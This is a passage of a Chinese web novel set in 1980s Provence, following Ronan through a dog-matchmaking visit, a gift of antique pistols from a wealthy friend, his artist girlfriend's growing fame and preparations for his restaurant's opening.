罗南指着脚步的小黑问: “它可以跟我一起进去吗?” 罗南听说卢尔马兰的‘女王’高贵无比,有许多比人还奇特的‘规矩’。 卢卡斯想了一下: “可以,但是别去客厅,玛格丽特不喜欢同类太靠近,不过你为什么要带狗来?” 罗南叹气: “小黑在家里总有母狗过来找它,家门口全是母狗标记的气味,我妈妈让我把小黑带出来,她把门口好好清理一下。” 卢卡斯开玩笑的说: “那些母狗不会追到我这里吧?” 话音刚落,卢卡斯看到在沙发上睡了一天的玛格丽特出现在厨房里。 它先是警惕的看了看罗南,之后小心翼翼的去闻了闻小黑的屁股。 卢卡斯警惕的双眉紧锁。 罗南则激动的瞪大眼睛。 小黑要嫁入豪门了吗? 可以啊! 太可以了!! 第216章 罗南身边的有钱朋友们 “玛格丽特好漂亮啊。”罗南衷心夸赞道。 同为刚毛犬,马赛像是一块行走的潦草‘抹布’,玛格丽特的皮毛则柔顺的不成样子。 虽然没有摸过,只是看罗南也能幻想出它的手感——像女孩子的头发一样。 罗南没敢摸的地方,小黑替他去摸了。 在玛格丽特闻完它的屁股后,小黑也‘礼尚往来’的闻了闻它的头,并友好的蹭了一下。 “你的狗多大了?”卢卡斯双手抱胸。 “再有一个多月就一岁了。”罗南笑着回。 还是个小朋友呢,但是个颇有魅力的小朋友。 卢卡斯的鼻腔里发出一道笑声: “玛格丽特已经6岁多了。” 罗南撇了一下嘴。 小黑想要嫁入豪门看起来困难重重啊。 不过罗南对卢卡斯的这只刚毛犬太感兴趣了。 松露猎人是一项非常‘自私’的行业,不会结伴出行,只会各自为营。 这就导致不会出现其他行业的那些‘言传身教’。 同行间不会分享各自的‘秘密花园’,自然也不会把各自的挖松露技巧分享出来,毕竟那可是价值连城的黑黄金啊。 其实罗南使用的‘寸草不生’大法非常简单和基础,但没有人指导,大家可能一辈子也无法想象苍蝇会是‘财富’的坐标关键物。 听说在普罗旺斯,厉害的松露猎人一个冬天的收入是以百万法郎为单位计算的,那比在巴黎开公司的大老板收入还要高。 那些传奇人物一定掌握了许许多多的挖松露技巧,但在各种方面都‘落后’的卢尔马兰,村民们只知道松露犬是找到松露唯一的途径。 系统里的【采集】技能可以强化罗南自身找松露的本事,但他也真的想要一只像玛格丽特一样厉害的松露犬。 “玛格丽特有孩子吗?”罗南饶有兴致的问。 卢卡斯发出了不屑的鼻音: “没有狗可以配的上玛格丽特。” 罗南:“.” 父亲的态度很坚决,但我们的‘女王’大人却卸下了它的皇冠。 玛格丽特虽然没有表现出像其他普罗旺斯母狗一样的热情,但看小黑的眼神里丝毫没有戒备,甚至还有一点点好奇。 趁着卢卡斯专心调味、没有时间分心的机会,罗南对小黑偷偷的说: “不要冷落了女士,去和它玩吧。” 小黑侧着脑袋沉默了几秒,听从‘父’命去和玛格丽特互相闻屁股去了。 为了给儿子创造出尽可能多的‘上位’机会,罗南不断和卢卡斯聊天吸引他的注意力。 “自己回来的吗?你妻子和儿子没一起?” 卢卡斯一边熟练的做饭,一边笑着说: “卢尔马兰一进10月就会开始降温,他们还想要再多抓几天‘夏季’的尾巴,晚一点回来。” 吕贝隆的10月有其明显的特征。 山谷的白天依然炎热和夏天没有区别,但太阳下山后这里会急速降温,有些家里有老人的村民甚至会升起炉火。 普罗旺斯人不喜欢阴雨天,他们喜欢拥抱温暖的阳光,有条件的家庭更想要待在暖和一点的地方。 想到卢卡斯很可能要当一阵‘单亲父亲’,罗南热情的说: “不想做饭了就去我家,或者去我的餐厅,你还没有尝过我爸爸的手艺吧?” 卢卡斯语气平淡的随意问道: “哪天开业?” “下周三!”罗南兴奋的说。 经过两个月的装修筹备期,他的餐厅终于要开业了。 卢卡斯把牛肉放到一个迷你陶瓷盘子里,之后用下巴指锅: “在那之前先尝尝我的手艺,我去给玛格丽特喂饭,你盛咱们两个人吃的。” “好的。”罗南熟练的洗手帮忙。 卢卡斯把玛格丽特的饭盆放到它熟悉的位置,喊了一声: “乖女儿,来吃饭了。” 一回头,身后站着两只狗。 玛格丽特无辜的看卢卡斯,似乎在问: 爸爸,今天我可以请朋友吃饭吗? 卢卡斯盯着‘软饭男’看了几秒,默默叹气: “我去给你的朋友再拿一个盆。” “玛格丽特喜欢你的狗。”喂完女儿和她的新朋友,卢卡斯返回厨房。 特奥家的狗也试图接近过玛格丽特,被咬伤了耳朵。 而玛格丽特今天居然会和罗南带来的狗分享食物.这太匪夷所思了。 “我的狗也喜欢玛格丽特。”罗南天真无邪的说,“小黑见到其他狗会很烦躁,但在玛格丽特身边它看起来沉稳多了。” 卢卡斯对罗南所表达出来的‘信号’完全无动于衷。 他的宝贝女儿绝不可能会和一只普普通通的杜宾犬发生故事的,绝不可能! 卢卡斯拎起一瓶红酒,问起了他感兴趣的话题: “你这半年似乎干了不少事?” 罗南呵呵一笑: “确实干了不少,但不止是我.这半年卢尔马兰也发生了许多许多的事,你错过太多了。” 卢卡斯把红酒打开,拿起杯子倒酒: “如果今晚没事,给我好好补一下课?” 罗南摁住自己的杯口,不太好意思的问: “那不如就从酒说起.我现在喝不惯红葡萄酒了,你家有粉红酒吗?” 卢卡斯突然哈哈大笑起来: “看来在你身上确实发生了不少事啊,居然喜欢上‘女士’酒了?” 罗南无奈的摇头: “这事可就说来话长了而且我最近正在为粉红酒发愁呢。” 开业的时间确定后,罗南第一时间通知了‘沃克吕兹省粉红酒爱好协会’那帮人,大家在对罗南表示祝贺的同时,也在旁敲侧击的询问阿斯特丽德去不去、什么时候去。 而罗南通知阿斯特丽德女士时,这个没有感情的喝粉红酒机器说,她很期待看到罗南餐厅里‘桌桌粉红酒’的美好氛围。 ‘桌桌粉红酒’当然是开玩笑的话,但阿斯特丽德是在提示罗南,不要忘记他夸下的‘海口’。 良好的粉红酒氛围可以吸引阿斯特丽德的关注但罗南去哪找那么多爱喝粉红酒的人呢? 说句不好听的话.免费发粉红酒都不是人人会要的。 所以罗南最近在处理开业前的琐事外,也在思考如何在阿斯特丽德光顾的那天在餐厅营造出更好的粉红酒氛围。 只要把这尊‘大佛’哄好了,那些普罗旺斯的大人物一定会积极来他餐厅露脸的。 卢卡斯从他的仓库里翻出两瓶被‘遗弃’的粉红酒: “那不如就从粉红酒说起吧。” 他坐到罗南对面,目光如炬: “讲讲如何把一个小小的粉红酒摊位,发展成卢尔马兰最大餐厅的。” 罗南的言语很朴实,没有普罗旺斯人一贯的夸大和离谱。 卢卡斯听到的不是什么波澜壮阔的奋斗史,只是一个年轻人积极向上、慢慢把日子过的越来越好的点滴幸福。 虽然发展缓慢但罗南讲的每一件事都是在朝着好的方向一步步前行。 听完了所有,卢卡斯有两个很大的感触。 一是罗南有普罗旺斯人所不具备的‘勤劳’,无论在何时何地,他想的都是让自己和身边人的日子如何变得更加幸福。 第二个感触是,他们同样具备‘上进心’,但卢卡斯的选择是‘一步到位’搏一个巨大的成功,而罗南的选择是脚踏实地,慢慢走出属于自己的路。 “行了,今天就聊这么多吧,我该走了。”罗南见钟表指针来到9和10的中间,时间已经不早了。 卢卡斯莫名感到一丝‘不舍’。 谁不喜欢听一个‘成功者’讲故事呢? 卢卡斯猜,村里那些一见他就约酒约饭的人也是抱有同样心态的。 只不过在他们眼中的‘成功者’,也生涩的仰起了头。 成功者之间都是惺惺相惜的,卢卡斯把罗南送到门口,拍着他的肩膀说: “开业那天我一定去。” “好的。”罗南笑着说。 ‘不舍’的不止是卢卡斯,玛格丽特也表现出了‘女王’的柔情一面。 她蹲在门口,嘴里不断发出呜咽之声,还好几次想要追出来,被卢卡斯安抚住了。 离开了卢卡斯家的范围,罗南拍了拍小黑的头: “我会支持你们这段‘姐弟恋’的,我们一起加油。” 小黑打了个响鼻,像是在抱怨: 为了这个家,我真是操碎了心。 现在连美色都要贡献出去了! “手里拿的什么?” 罗天海见罗南吃饭回来手里还带了东西,好奇的问。 罗南把袋子交给他: “卢卡斯从马赛给大家带回来的礼物,纯正的马赛香皂。” “马赛香皂?”冯珍丢弃了电视里她最爱看的狗血爱情剧,拿出袋子里的东西左看右看,突然兴奋的说,“还真是纯正的马赛香皂,你这是什么朋友啊,这么有钱?这一块要几百法郎呢。” 古代高卢人不太讲究个人卫生,用木头灰烬或者山羊板油在身体上擦几下就算洗澡了。 法国个人卫生历史出现量子般的大发展,马赛居功至伟。 1371年,制作肥皂的技术首先在马赛出现。 不过几百年前普罗旺斯的风格和现在一致——主打一个慢条斯理。 马赛的商人历经好几代,才发现制皂业可以成为一个赚钱的手段。 1688年,马赛香皂开始名声大噪,到了1906年,马赛每年可以生产14万吨的肥皂。 到了1986年,法国的制皂产地不止马赛一个,但马赛香皂有其他地区没有的特性——那就是完全天然,极其纯净。 根据规定,它的成分必须有百分之七十二是油(橄榄油、椰子油或棕榈油),且不可以含人工添加物。 传统的马赛肥皂性质十分温和,不易引起过敏,适合婴儿与敏感性肤质使用,材质纤细敏感的衣物也适用。 丝绸、蕾丝、细羊毛、薄如蝉翼的内衣和细麻手绢用马赛皂清洗,不但清洁干净,而且毫发不伤。 此外,马赛肥皂能彻底生物降解,对环境也无害。 在欧洲,马赛香皂甚至有‘肥皂之后’的美称,生产方式与其说是制皂,不如说是煮皂,是用大汽锅煮出来的。 现如今,有大量次级肥皂故意仿造纯正马赛肥皂独特的形状,妄图鱼目混珠,不过买肥皂前,只要看清楚上面的字样,就不会轻易上了这些立方体仿冒品的当。 如果立方块肥皂上未印“保证”字样,就不是真货。 肥皂的一面应刻有“含百分之七十二油分特纯品”等文字,一面刻着这块肥皂的克重,另外两面则标明制造商名称。 这种‘肥皂之后’不仅可以洗衣服、洗身体、洗头发还会有人用它来刷牙。 不过普通老百姓可不舍得让它‘身居多职’,因为纯正马赛香皂最小克重的一块也要200多法郎。 罗南的朋友居然用它做‘礼物’给村民带回来.出手太阔绰了! “就是之前借我们吉普车的那个朋友。”罗南给父母解释。 “哦,那个啊。”冯珍点头,“那确实是个有钱人。” “对了,刚刚有个人给家里打电话,说有事情找你。”罗天海提醒道。 “是谁?”罗南问。 罗天海回忆了一下: “叫加布里埃尔。” 罗南看了一下时间。 对于这位大老板来说,9点多并不算晚,于是他把电话打了回去。 加布里埃尔热情、高昂的声音很快出现在听筒里: “嗨,我的朋友!明天在家吗?我明天要去卢尔马兰,把给你准备的开业礼物送过去怎么样?” “开业礼物?”罗南的大脑快速转动起来。 “对,忘记我们聊过的‘复古枪’话题了吗?”加布里埃尔笑着说。 罗南提高了语调: “你在跟我开玩笑吧?你真的要送我一把复古枪?” 听到‘复古枪’这几个单词,罗天海默默坐到罗南身边。 男人至死是少年。 罗天海最后悔的事,就是没有跟罗南一起去考狩猎执照。 那种真枪指弹发射的感觉想一想就让人热血沸腾。 如果是复古枪那么将更加热血了! 冯珍也凑了过来。 复古枪很贵.罗南身边的有钱朋友这么多啊? 加布里埃尔轻快的笑了几声: “我的朋友,不是一把.而是一对!独一无二的一对!” 巴黎一家人同时瞪大眼睛。 上帝,真的假的? 第217章 声誉和名气在普罗旺斯的重要性 复古枪对罗南的吸引力无疑是巨大的。 只要见识过一次复古枪的魅力就再也无法正眼看正常的枪支了。 你的前主人名声显赫吗? 你有能讲的出故事的历史吗? 你有底蕴吗? 这可是最看重历史厚度和底蕴的普罗旺斯 尤其当罗南发现原来一个人可以拥有7支来福和9支长枪,而打猎的真正意义不是击中猎物,而是让自己玩的开心后就更加无法摒弃在家里陈列几把复古枪的想法了。 但加布里埃尔的这份‘礼物’太贵重了。 收下它,要如何‘回礼’呢? 罗南可送不出去与两把复古枪等价值的东西。 考虑到罗南有可能的疑虑,第二天加布里埃尔到访时自带了‘答案’。 和他一同出现的,还有一位和巴蒂气质颇为相似的高瘦男人,只不过是‘消音’版本的。 “这就是我和你提起过的朋友马里尼。”加布里埃尔给两个人做介绍,“马里尼,这便是那位能帮你加入协会的厉害家伙,罗南。” 罗南礼貌的对马里尼伸出手: “你好。” 马里尼轻轻握住罗南的手,发出自出现后的第一道声音,以证明自己不是哑巴: “你好。” “去后院吧。”罗南给两位客人带路,“加布里埃尔上次来我家时,后院还没收拾出来。” 加布里埃尔搂住罗南的肩膀,开心的说: “快去带我看看托马斯和歌迪亚口中那个不逊色于艾克斯任何酒店的美丽后院吧。” 加布里埃尔可不是一般人。 什么好看的景色、好吃的东西、好玩的女人他都见识过。 表现出来如此热情,还是由于他身边的这个人。 三人坐下后,这位阿普特的糖果大王很快说出了此行的目的: “罗南,我还是希望能让马里尼加入协会,你可以帮帮我吗?” 若不是了解加布里埃尔儿女双全、婚姻幸福,罗南都要怀疑这两个人之间是不是有什么不正当关系了。 好吧虽然儿女双全、婚姻幸福也不能代表没有什么,不过何苦这么执着呢? “加入协会能给马里尼带来什么?”罗南上一次就想问加布里埃尔了。 难道马里尼也要开什么商铺? 同样希望这些普罗旺斯有头有脸的大人物能去捧捧场? 马里尼不善言谈,由他的嘴替加布里埃尔回答这个问题: “马里尼是我从小的玩伴,他是一位很厉害的雕塑家,但艺术这个行业不是靠钱就能堆积出来一条‘康庄大道’的,至少在普罗旺斯不行。” 加布里埃尔用更加浅显易懂的道理给罗南解释: “我花5万法郎拍下马里尼的作品,无法让他的作品在下次拍卖上依然值5万法郎,但如果某位大人物在拍卖会上对他的作品进行过几句不错的点评,那么也许马里尼的作品之后就值6万了” 他苦涩的晃了一下手里的粉红酒: “在普罗旺斯,声誉和名气比事物本身的好坏重要的多得多,我们最爱的粉红酒就是最佳反面例子。” 罗南皱着眉毛问: “你希望让马里尼去协会里收获一些声望?” 加布里埃尔点头: “对,咱们协会里的人涉及各行各业,我认为那是积攒名气的好地方,同时我也在推荐马里尼加入其他我所熟悉的类似组织。” 罗南砸了下嘴,润色道: “理解,不过我认费这么大力气做这件事,收获并不成正比啊,这只是你认为的理想状态,是否有帮助还有待考证。” 罗南说的很好听了。 他觉得加布里埃尔有些‘病急乱投医’了。 加入协会也许对马尔尼的事业是会有一点点帮助,但就凭协会里那点人微乎其微。 有这个功夫还不如多做几个作品呢。 不过加布里埃尔不以为然的说: “没费多少力气啊,就花了一点点钱而已,伊内斯太严格了,没办法‘通融’,其他组织和协会最多2万法郎就能买到名额了。” 罗南嘴里的粉红酒险些从鼻孔里喷出来。 2万法郎.是‘一点点’钱? 而且你还花了好几个‘一点点’?! 罗南再次审视起不善言辞的马里尼。 该死的.这两人不会真有点什么吧? 话聊到这里,加布里埃尔终于想起今天的‘正事’: “看看我给你准备的开业礼物!” 他把随行带来的箱子拿到桌子上,语气没有任何波澜的说: “你今年刚拿到执照,确实需要一点熟悉的时间,所以我给你带来的是两件‘小玩具’,等明年我再送你一把‘大玩具’。” 箱子打开,露出了两把造型精美的手枪。 随即加布里埃尔开始讲述它的故事: “这是一对18世纪中期的法国本土手枪,生产日期大概是1750年,它们最开始是燧发枪配置,后来在19世纪初更新为撞击式点火系统,这表明它们和其他复古枪不同,这几百年来一直在被使用,我已经检查过了,枪况非常好。” 他给罗南展示枪管的部位: “8英寸长八角形炮管上有金色镶嵌花纹,炮管的口径约为 0.63英寸。” 加布里埃尔又展示起了枪托和枪身: “瘤木枪托,也作了金属饰纹,枪身上还刻有制造商的名字——约瑟夫·拉莫特。” 之后他把两只枪推到罗南的面前: “它们现在是你的了,祝你餐厅红红火火,一切顺利!” 法国人没有拒绝礼物的习惯,但罗南这次不得不为难的把枪推了回去: “这礼物太贵重了。” 普罗旺斯人热情且直接,加布里埃尔坦然的说: “你如果觉得贵重,就帮我一起努力让马里尼进入咱们协会。” “但这不是我努力就能做成的事啊。”罗南纠结的说,“伊内斯是什么人你肯定比我还了解,她都拒绝两次了再说一次就能同意?” “但伊内斯重视你啊!”加布里埃尔压低声音,“尤其还有你和阿斯特丽德的那层关系。” “我和阿斯特丽德有什么关系?!”罗南急切的想要撇清关系。 加布里埃尔示意罗南不要激动: “即使不行也没关系,这本就是我送你的开业礼物。” 他突然郑重无比的拍了拍罗南的胳膊: “除了钱我什么都没有,如果能用钱帮助到朋友我非常乐意,而且我也想交你这个朋友。” “我们已经是朋友了,加布里埃尔。” “不不不,还不够亲密,我希望这两把枪能让我们成为真正的朋友,不是托马斯和歌迪亚的那种。” “我们已经是亲密的朋友了,请你相信我!”罗南摁住加布里埃的手。 你这个‘除了钱什么都没有’的朋友我罗南交定了! “那你就收下这两把枪!”加布里埃尔又把手压到罗南的手上。 “我——” “好了加布里埃尔——”马里尼苦涩的说,“你已经帮助我很多了,其实是我自己的问题,是我的作品不够好.即使认识再多人也无济于事。” 罗南吓了一跳。 差点忘记这里还有一个人呢。 原来您能一次性说这么多单词啊? 加布里埃尔尴尬的给罗南解释: “马里尼喝酒后就会健谈了。” 罗南看着一瓶见底的粉红酒,默默点了下头。 在他和加布里埃尔聊天的时候,马里尼没少喝啊。 看来是真的很喜欢粉红酒了 果然,粉红酒是艺术家中的‘流行趋势’。 想要给餐厅营造出好的粉红酒氛围,还是得从这帮人身上想办法。 加布里埃尔劝解自己的朋友: “别这样想马里尼,作品和名气都可以把你推向成功,之前的路走不通,现在换一个思路而已时代在进步,‘艺术家’的发展方式也要有所改变。” 马里尼笑着摇头: “不,不是的,就是我的问题.这个时代从来不缺新的艺术家,只不过不是我罢了。” 马里尼的话让罗南回忆起在瓦朗索勒和那几个年轻女艺术家一起喝酒时的情形。 他有感而发道: “这条路很难很难,但千万不要放弃。” 马里尼给自己打气: “当然不会放弃,我打算去艾克斯进修一段时间,看看那里的最新潮流,也许欧洲的艺术风向又改变了呢。” 加布里埃尔忧心忡忡的问: “你什么时候去艾克斯?我周末要去,带你一起?” 马里尼问老友: “你去艾克斯干什么?” 加布里埃尔露出恭敬的神情: “图拉姆先生的小女儿要举办成人礼舞会。” “图拉姆?那个普罗旺斯旅游帝国的老板?”马里尼似乎对这个名字并不陌生。 加布里埃尔点头: “对,是他,图拉姆先生还拥有欧洲空客的股份。” 罗南没有听过他们口中的图拉姆先生,但欧洲空客他非常熟悉。 这家飞机制造、研发公司的总部就在普罗旺斯的图卢兹。 马里尼诧异的问: “图拉姆先生邀请你了?” 加布里埃尔尴尬的耸肩: “当然没有,也是花钱托关系.” 好吧,大家都明白了。 马里尼又喝了一口粉红酒: “我可能要晚一点去艾克斯,不过你这样一说,我发现咱们两个去艾克斯的目的还真能联系到一起,艾克斯的格拉内博物馆参与了图拉姆先生女儿成年礼的设计,那个要拿去送给他宝贝女儿的作品,会在博物馆里展示10天,我打算去看看。” “那一定是一件精美的艺术品。”加布里埃尔用憧憬的语气说。 “对,听说是她女儿最喜欢的美人鱼造型。”马里尼回忆自己听到的消息,随后羡慕的说,“那一定是一位厉害的大师做的。” 许久没有出声的罗南激动的嚷嚷起来: “没错!那一定是一位厉害的艺术家,不,厉害的大师做的!” “那当然了,那可是图拉姆先生女儿的成人礼。”加布里埃尔也加重了语气。 罗南更加亢奋了: “对!那可是图拉姆先生女儿的成人礼!!” 马里尼语气复杂的说: “现在还不知道是哪个幸运儿接到了这个工作,格拉内博物馆没有透露过消息,不过这一定会给那个人的艺术生涯增加一段亮眼的经历。” 这不正是普罗旺斯艺术家所需要的声誉和名气吗? 加布里埃尔平静的说: “周末我帮你打听一下,不过肯定是位有几十年经验的老艺术家,有阅历的人才能才能吸引到图拉姆先生把那么重要的事情交出去。” “哦,不不不,不要这样说,她会不高兴的。”罗南突然笑起来。 “你认识那位艺术家?”马里尼好奇的问。 罗南把杯子里的酒一言而尽,淡淡的说: “是我女朋友做的。” 加布里埃尔和马里尼的鼻孔里同时喷出红色的液体。 第218章 命运的转变 剧烈的咳嗽也无法按耐下加布里埃尔‘八卦’的心,他断断续续的问: “你女.朋友也.是艺术家?” 罗南贴心的给两位狼狈的朋友递去纸巾: “是的,她是搞艺术的。” 马里尼顾不上擦拭弄脏的衬衣,急切的问: “方便知道你女朋友是哪位‘前辈’吗?” 来罗南家的路上,加布里埃尔用极短的几句给他介绍了罗南的职业和来历,却用较大篇幅描绘了罗南的社会人际关系。 其中最让人印象深刻的,是他和一位40多岁神秘贵族的‘交情’。 阿普特糖果大王加布里埃尔用明显嫉妒的语气说,他曾亲眼见到这对‘母子’在某一个聚会结束的夜晚钻入了漆黑的小树林。 所以那并不是猎奇.而是罗南的兴趣? 罗南用甜蜜的语气说: “你这样说她真的会生气.最近我女朋友收到一封信,里面全篇用‘您’来称呼她,那天她问我了三次‘我有那么老吗?四十多岁的人对我用敬语?’,你知道的,女人对年纪总是过分的在意。” 马里尼立即改口: “抱歉,那么这位同行是?” 罗南笑着耸肩,自豪的语气溢于言表: “她并不是什么著名艺术家,也没有多大年纪,能接到图拉姆先生的合作完全是偶然,她只有24岁,还非常非常年轻.不过我相信未来普罗旺斯的艺术家们一定会记住她名字——佐伊!” 在上次粉红酒爱好者协会的聚会后,罗南曾跟佐伊提起过——加布里埃尔希望介绍一位叫马里尼的艺术家进入协会。 佐伊说,马里尼在普罗旺斯艺术家圈子是有一定知名度的,至少她听说过,而且在她还上大学期间马里尼就在艾克斯办过个人艺术展了。 现在看来,马里尼的个人艺术展的背后极有可能有加布里埃尔的金钱支持但他绝对和瓦朗索勒那些默默无名的艺术家们不是一个量级的。 在这位真正的‘前辈’面前,佐伊当然不算是什么‘著名’艺术家。 怎料马里尼表现的更激动了: “是那个喜欢把玻璃和陶瓷结合到一起的佐伊吗?” 罗南诧异的‘嗯?’了一声: “没错,是她。” 马里尼激动的拍了下手: “上帝,居然是她!又是她!” 加布里埃尔擦拭完自己的名贵西裤,好奇的问好友马里尼: “罗南的女朋友非常有名吗?” 把好友介绍给政府高官的时候都没见他这么激动过。 马里尼用羡慕到发狂的语气说: “这个时代从来不缺新的艺术家,而佐伊就是新一代里最耀眼的那一颗‘新星’!你不知道最近这两个月我听到过多少次她的名字,走到哪里都有人议论她。” 罗南的笑容始终没有停下过。 加布里埃尔说,在普罗旺斯声誉和名气比事物本身还要重要,佐伊现在既有名气又有拿得出手的作品她不会真的要‘一飞冲天’了吧?! 马里尼迫切的问: “罗南,佐伊也住在卢尔马兰吗?请问.我可以去拜访一下这位最近在普罗旺斯艺术家圈子里非常火热的女艺术家吗?” 罗南歉意的说: “抱歉马里尼,今天恐怕不行.我女朋友最近正在‘闭关’帮我烧餐具,连我去见她都要‘计时’。” 马里尼脸上的失望转瞬即逝,继而期待的问: “你的餐厅要开业了?那天她应该会到场吧?” 罗南肯定的说: “她当然会到场,那是我们一起的餐厅,如果下周三你没有其他事忙就过来吧,我把你介绍给她。” 之后罗南又对加布里埃尔发去邀请: “伊内斯下周三也会来,你如果想再试一试就一起过来,我猜在餐厅开业的当天,我提出建议的‘分量’会更高一点。” “感谢你罗南!”加布里埃尔和马里尼异口同声的说。 加布里埃尔最终还是把礼物留下了。 他的坚持打败了罗南的坚持。 知道罗南有一位让马里尼都羡慕的艺术家女朋友后,这位‘除了钱什么都没有’的大商人说,即使下周三伊内斯再次拒绝了他们的提议,罗南的女朋友未来也一定会对马里尼有所帮助所以这份礼物更是非送不可了。 喝了酒的马里尼一改之前的拘谨和严肃,和他的好友一起逼着罗南收下礼物,还信誓旦旦的说,他的那份‘开业礼’会在周三带来,并且绝对不会比加布里埃尔的这份差。 在字里行间中,罗南品出这位艺术家的家底同样殷实和富足。 一天中受到太多金钱惊吓的罗南马不停蹄的去了路易家,和佐伊讲起他现在最大的感受。 “你报的价格太低了,那可是图拉姆先生啊!普罗旺斯旅游帝国的缔造者、空客集团的股东你报30万说不定他都能同意下来,这样你吃苦的时候心里还能好受点。” 按照计划,佐伊上周就该给罗南做完所有的餐具。 但那个3万法郎的订单把佐伊折腾的掉了一层皮。 设计稿先后改了7、8次,都开始填料了,对方还在不断发来修改意见.简直把资本主义的丑恶嘴脸展现的淋漓尽致! 给罗南做餐具的计划只能一拖再拖、不停搁置,导致现在时间严重不够用。 这段日子,温和的粉红酒已无法安抚住女艺术家爆炸的心态,佐伊的工作室里始终有一瓶开了封的高度白兰地。 她每天都会抡着酒瓶子咆哮: “我要去把那个该死的客人砸死!” 早知道客人那么有钱,砸死可太便宜他了。 找他多要点钱啊! 佐伊也同样陷入了懊恼之中: “上周格拉内博物馆又给我发了一个定制需求.但我拒绝了,如果知道给有钱人做作品那么有用,我应该冷静一下的。” “又给你定制需求了?”罗南不自觉的提高音量,“你现在是真的出名了啊,马里尼说他从来没有接到过有钱人的定制需求,而且还是格拉内博物馆帮忙搭线的.他说那是艾克斯最具权威性的艺术机构。” 佐伊淡淡的说: “不是有名,只是我做的这个技术很少见,几乎没人做陶瓷和玻璃结合的工艺品。” “这就是你的优势啊!”罗南激动的蹲到佐伊身前,“就像在普罗旺斯做中餐是我的优势一样,这是我的特色,也是我能吸引人的地方。” “而且你比我还多一个优势——”罗南语气激昂的说,“你还只做动物.这些全部是你与众不同的地方!忘记那些‘粉丝’给你的信里是如何写的了吗?他们说是你让他们相信,坚持做出属于自己的特色一定会被人看见,你现在是无数默默无闻艺术家的榜样了佐伊。” “什么粉丝.是同行!”佐伊看了一眼墙上的时钟,站起来在罗南的脸上亲了一下,用哄孩子的语气说,“好了好了,今天的‘探视’时间结束了,出去吧,晚上来我家吃饭。” 现在时间紧张,任何事都不能阻拦佐伊做餐具,罗南也不可以。 “遵命,我的大艺术家!”罗南笑着离开工作室。 罗南从佐伊的工作室出来,正好遇到莉亚拿着一封信进屋。 她扬了扬手里的信封,眉飞色舞的说: “又是一封写给佐伊的信。” 虽然现在电话已经普及,但是佐伊和同行们依然习惯用书信往来。 佐伊解释,许多艺术家都深受苏格拉底和柏拉图等哲学家的影响,书信作为其精神延续,被艺术家视为更庄重的交流仪式。 书信作为生活的一部分,其物理载体承载了真实情感与时代痕迹,而电话则被视为‘去物质化’的抽象工具。 罗南和莉亚两个人兴奋的凑到一起,对着阳光照里面的内容,希望能看清只言片语。 “是不是那个全程用‘您’的人回信了?”莉亚眯着眼睛问。 “看信封样式,像是那个请教佐伊玻璃热度曲线的人.她又有新问题请教佐伊了?”罗南把脸凑得很近,希望通过‘透视眼’看清里面的字迹。 “那个没那么快回信,估计又是一个‘粉丝’!”莉亚开心的把信封放到客厅里崭新陈列柜的某一个隔板里。 在同一个位置还躺着7、8封未拆封、标记给佐伊的干净信封。 她看着陈列柜里一个个佐伊之前的作品,用感激的语气说: “还是你想的周到啊罗南,我们从来没想过把佐伊的作品摆出来这么多年一直放在仓库里。” 餐厅所需的桌椅全部做完了,但还剩下一些木材。 罗南把它们做成了一个精美的陈列柜送到路易家。 佐伊之前做的作品都堆放在仓库里,想看哪个还要去翻找,非常麻烦。 现在方便了,不仅罗南和莉亚欣赏起来方便,每个来路易家做客的人都能看到佐伊这些年的努力。 罗南小心翼翼的把其中一个玻璃陶瓷结合制成的小鹿摆正了些: “佐伊的天赋和努力应该被更多人看到。” 虽然现在陈列柜还很‘空’,但罗南的心却被填得‘满满当当’。 罗南在重生之前没有听说过法国有一名叫佐伊的艺术家,所以他一直担心佐伊的发展会受到限制或者困难重重。 不过现在看来,他所担心的情形似乎并没有发生,相反的,佐伊在普罗旺斯艺术界的发展越来越顺利了。 说不定假以时日,这颗普罗旺斯最耀眼的‘新星’能走出这片土地,走向法国全境.甚至更远的地方。 这是佐伊上一世就发生过的事情? 还是由于罗南的到来而出现了转变? 细想下来,罗南认为后者的概率更大一些。 佐伊的名气起始于艾克斯的玻璃器物展,在那次活动上,她得到了高德曼教授的点评和夸赞。 而高德曼教授如何发现佐伊的呢? 那归咎于罗南还算不赖的‘演技’。 所以佐伊的命运极有可能在那一刻就发生了转变.向着更好的方向发展了。 这种看着身边人在自己的影响下变得越来越好的感觉实在太幸福了。 无法言表的幸福! 而罗南相信,在他的影响下,改变的人生不止一个佐伊。 也许还有他的父母、佐伊的父母、特奥、皮埃尔、布兰科和许许多多的人.大家都在往好的方向发展、往更加幸福的方向发展。 “太棒了!”罗南突然小声欢呼了一下。 “怎么了?”莉亚侧头问,“要尝尝我做的草莓酱吗?” 罗南笑着小跑出去: “不了,我去给佐伊做一个收纳信的盒子,将来给她寄信的人肯定会越来越多,我要提前准备!” “这孩子”莉亚笑着摇头。 罗南对佐伊真的没话说。 工作室。 听到罗南激情雀跃的声音,佐伊幸福的看向窗外。 罗南对她真的很好很好 除了这套餐具,她还能为罗南做些什么吗? 第219章 见人说人话见鬼说鬼话 餐厅的一切运营都由罗天海负责,罗南从不干涉什么。 不过罗天海每过一段时间一定会给罗南汇报一次近况。 参考了吕贝隆地区其他餐厅的开业活动、他们的开业时间和卢尔马兰的情况后,罗天海决定开业后的那一周为‘试营业’期,除了酒水外一切餐品打五折,以求吸引来更多的客人。 正餐餐品按照罗南的建议,除了更加符合当地人口味的改良菜外,还有原汁原味但法餐摆盘的‘特色’中餐可供选择。 并且餐厅每天还会推出一份价格更加实惠的‘套餐’,面向想要尝尝鲜、或者经济条件不太富裕的顾客和家庭。 套餐的形式和博尼约村口的那家家庭餐厅类似,没有点菜环节,厨师上什么吃什么,但绝对保证客人能吃饱,并能吃出中餐的精髓。 罗天海认为有两套菜单加上每日特色套餐,足可以覆盖吕贝隆地区任何需求的客户,这样餐厅的经营情况更加有保障了。 在非旅行季开业压力实在太大了。 无论是罗天海还是罗南,都在绞尽脑汁想办法在开业的时候吸引来更多的顾客。 “你预估开业那天能来多少人?”罗天海在计算人力。 目前餐厅的固定员工只有四个:他、冯珍、罗南和莉亚。 除此之外还有四个罗南朋友的妻子会‘暂时’过来帮忙。 之所以固定员工没有增加只找‘临时工’,是由于罗天海不太确定秋天和冬天的经营情况。 万一生意不太理想也许他们四个人完全能忙的过来,那就没必要请人了,所以现在找的都是‘临时工’。 反正村子里的熟人那么多,缺人了随时都能找到。 不过他还是想要预估下开业那几天的客流情况,好给大家做分工和安排,这部分是罗南负责的。 罗南伸出一个大拇指: “开业那几天特奥和皮埃尔那帮农夫肯定会来捧场,可能不会吃饭,但一定会来喝酒。” 卢尔马兰是罗南的主场。 